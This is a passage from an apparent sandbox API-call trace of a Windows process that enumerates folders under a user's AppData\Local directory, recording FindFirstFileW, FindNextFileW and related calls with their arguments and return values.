(dwNewMode=0x0, lpOldMode=0x1dc9da50) returned 1 [0217.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0217.337] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\ActiveSync", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\ActiveSync", lpFilePart=0x0) returned 0x2e [0217.337] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\ActiveSync\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\activesync\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.338] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.338] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.339] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0217.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0217.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0217.339] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\ActiveSync", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\ActiveSync", lpFilePart=0x0) returned 0x2e [0217.339] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\ActiveSync\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\activesync\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.339] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.339] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c3f133, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x7c3f133, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x7c3f133, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.340] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0217.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0217.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0217.340] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x34 [0217.340] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Application Data\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\application data\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0217.343] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x34 [0217.343] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Application Data\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\application data\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0217.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d340) returned 1 [0217.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0217.345] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms", lpFilePart=0x0) returned 0x29 [0217.345] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2397496d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x241f3052, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5cb0 [0217.346] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2397496d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x241f3052, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.346] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241f3052, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x41637d0, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x41637d0, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0217.346] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unistore", cAlternateFileName="")) returned 1 [0217.346] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0217.346] FindNextFileW (in: hFindFile=0x1d1f5cb0, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 0 [0217.347] FindClose (in: hFindFile=0x1d1f5cb0 | out: hFindFile=0x1d1f5cb0) returned 1 [0217.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0217.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0217.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0217.347] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms", lpFilePart=0x0) returned 0x29 [0217.347] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2397496d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x241f3052, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.347] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2397496d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x241f3052, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.347] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241f3052, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x41637d0, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x41637d0, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0217.348] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unistore", cAlternateFileName="")) returned 1 [0217.348] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0217.348] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.348] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0217.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0217.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.348] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Temp", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Temp", lpFilePart=0x0) returned 0x2e [0217.348] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Temp\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\temp\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241f3052, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x41637d0, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x77e259ad, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.633] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241f3052, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x41637d0, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x77e259ad, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.633] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b315521, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x77e259ad, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x77e26d5d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 1 [0217.633] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.633] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.634] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Temp", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Temp", lpFilePart=0x0) returned 0x2e [0217.634] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Temp\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\temp\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241f3052, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x77e259ad, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x77e259ad, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.634] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241f3052, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x77e259ad, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x77e259ad, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.634] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b315521, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x77e259ad, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x77e26d5d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 1 [0217.634] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b315521, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x77e259ad, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x77e26d5d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 0 [0217.634] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.635] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Unistore", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Unistore", lpFilePart=0x0) returned 0x32 [0217.635] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Unistore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\unistore\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.636] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.636] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.636] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.636] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Unistore", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Unistore", lpFilePart=0x0) returned 0x32 [0217.637] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Unistore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\unistore\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.637] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.637] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.637] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.637] SetThreadErrorMode (dwNewMode=0x1, 